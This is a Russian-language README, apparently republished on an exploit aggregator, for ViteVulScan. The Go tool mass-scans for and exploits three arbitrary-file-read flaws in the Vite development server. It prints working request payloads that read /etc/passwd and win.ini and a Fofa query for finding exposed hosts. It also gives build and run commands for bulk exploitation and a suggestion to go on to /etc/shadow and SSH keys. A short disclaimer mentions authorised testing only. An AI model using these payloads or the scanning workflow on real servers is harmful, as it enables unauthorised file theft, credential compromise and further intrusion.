Exploit for ViteVulScan

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JACKIEYA-VITEVULSCAN
# ViteVulScan

## Описание уязвимостей

Этот проект затрагивает 3 уязвимости: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, все они связаны с чтением произвольных файлов на сервере разработки Vite. Эти три уязвимости имеют широкое покрытие и просты в эксплуатации без ограничений.

### POC уязвимостей:

CVE-2025-30208:

> Windows: /@fs/C://Windows/win.ini?import&raw??
> 
> Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

> Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
> 
> Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

> Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
> 
> Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Часть пути /@fs может не указываться.

### Синтаксис поиска Fofa:

> body="/@vite/client"

## Инструкция по использованию инструмента

### Особенности инструмента

  1. Может взаимодействовать с fofa для массового использования.
  2. Анализирует точный путь уязвимости и выполняет глубокое использование.
  3. Использует возможности конкурентности Go, что позволяет быстро проводить массовое сканирование большого количества активов за короткое время.



### Инструкция по сборке

Версия Go: `go 1.20 и выше`

Перейдите в корневую директорию проекта

Сначала синхронизируйте зависимости

> go mod tidy

Затем скомпилируйте проект

> go build -o ViteVulScan -ldflags="-s -w" -trimpath .

Запустите скрипт:

> ./ViteVulScan

Также можно запустить проект прямо в корневой директории:

> go run .

### Конфигурация

Скрипт поддерживает взаимодействие с fofa для поиска активов и последующего массового сканирования.

Чтобы использовать fofa, убедитесь, что файл app.ini находится в той же директории, что и скомпилированный бинарный файл, и измените файл app.ini в каталоге config. В поле fofakey укажите свой ключ fofa, num — примерное количество активов для сканирования.

Если у вас есть более подходящий синтаксис поиска fofa для этой уязвимости, вы можете изменить поле fofaQuery самостоятельно.

### Параметры командной строки

> Usage of ./ViteVulScan:

### Примечания

  1. Для массового сканирования всех URL-целей в файле убедитесь, что в файле каждая строка содержит один URL. URL может быть полным с http или просто доменным именем/ip, например: 

root@kitploit:~
         
         http://example1.com 
           example2.com
           127.0.0.1
         

  2. При указании параметров -fofa и -f для сканирования, активы с уязвимостью автоматически сохраняются в текущий каталог в файл с именем формата "текущая_метка_времени.csv".
  3. Поддерживается использование как для Linux, так и для Windows. Словари находятся в каталоге dict: linux_sensitive_path.txt и windows_sensitive_path.txt. Если есть дополнительные чувствительные пути, их можно добавить в соответствующие словари.



### Примеры

**Пример 1:** Взаимодействие с fofa для массового сканирования:

./ViteVulScan -fofa

![image-20250410145741383](https://assets.kitploit.com/production/public/readmes/27250/0ad219426ee452eadaa3256e8c47e4f8caadc0450a5c1b2dfb28bb643435ca3d.png)

После завершения сканирования в каталоге result появится CSV-файл с URL-адресами успешно использованных уязвимостей, названный по временной метке:

![image-20250410151756704](https://assets.kitploit.com/production/public/readmes/27250/2f433066b1442b3afc0710f348be5c5fff7b7a68910abf6fda2b659de306c881.png)

**Пример 2:** Глубокое использование уязвимости для URL:

./ViteVulScan -u example.com -e

![image-20250410150341952](https://assets.kitploit.com/production/public/readmes/27250/cc9441574ec3515e19745d514eae24dbb76d78362d0c59ffc82e58855892e4c5.png)

Если отображается "Использование успешно", можно проверить каталог result. Там будет подкаталог с именем сканированного URL. Содержимое чувствительных файлов будет декодировано и сохранено в исходном формате. Результат:

![image-20250410150836985](https://assets.kitploit.com/production/public/readmes/27250/feb700d82497505a048ee8c0df9159a2b1f66b2f406240906d91abe28bc16d37.png)

Например, в сохранённом файле result/localhost:5173/etc/passwd видно полное содержимое чувствительной информации, что удобно для дальнейшего использования (если удастся прочитать /etc/shadow или SSH-ключи сервера, можно использовать дальше).

![image-20250410151044619](https://assets.kitploit.com/production/public/readmes/27250/af92c5d360a02cb43493d628a4aa711cf7e1d37112a14afcef5c9ed4f1cf74e1.png)

# Отказ от ответственности

Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования. Не используйте его в незаконных целях. Ответственность за любое неавторизованное тестирование с использованием данного инструмента несёт пользователь.

# Обновления

## 29 марта — первый выпуск:

  * Реализована функция сбора активов через fofa.
  * Реализована проверка уязвимости CVE_2025_30208.
  * Добавлена функция обработки аргументов командной строки.



## 1 апреля:

  * Добавлена функция глубокого использования.



## 2 апреля:

  * Добавлена проверка новой уязвимости CVE_2025_31125.



## 9 апреля:

  * Исправлены ошибки в модуле fofa.
  * Добавлена конкурентность для быстрого массового сканирования активов на наличие уязвимости.
  * Добавлена проверка CVE_2025_31486.
  * Изменена структура файлов проекта.